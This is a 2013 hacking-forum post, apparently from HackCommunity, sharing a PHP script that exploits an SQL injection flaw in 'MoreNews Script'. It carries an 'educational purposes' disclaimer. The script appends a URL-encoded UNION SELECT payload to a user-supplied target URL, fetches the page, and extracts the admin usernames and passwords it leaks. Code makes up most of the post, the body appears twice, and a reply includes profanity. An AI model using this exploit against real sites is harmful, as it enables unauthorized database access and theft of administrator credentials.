SQL Injection Exploit [PHP] 07-03-2013, 08:32 AM
#1
Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.
Usage:
Sauce:
Image:
![[Image: pur6g.png]](http://u1307.hizliresim.com/1c/3/pur6g.png)
Au Revoir..
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.
Usage:
Code:
http://localhost/script.php?web=http://targetsite.com/page.php?param=Sauce:
PHP Code:
<?php
error_reporting(0);
print "<h2>HackCommunity SQL Injection Exploit</h2>";
if(!empty($_GET['web'])){
print "<b>Scanning the vulnerability...</b><br>________________________________<br>";
$injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info";
$source = file_get_contents($_GET['web'] . $injquery);
if(strstr($source, "<hc>")){
$info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>'));
print "Vulnerability Exploit Successfull!<br>
<br>Result => $info";
}else{
print "Vulnerability Not Avaible For This Website..<br>";
}
}else{
print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>";
}
?>Image:
![[Image: pur6g.png]](http://u1307.hizliresim.com/1c/3/pur6g.png)
Au Revoir..
Fuck You.



![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: imaghhues.jpg]](http://s10.postimage.org/pha9zn485/imaghhues.jpg)
Thanks for feedback!

![[Image: imudFMc.png]](http://i.imgur.com/imudFMc.png)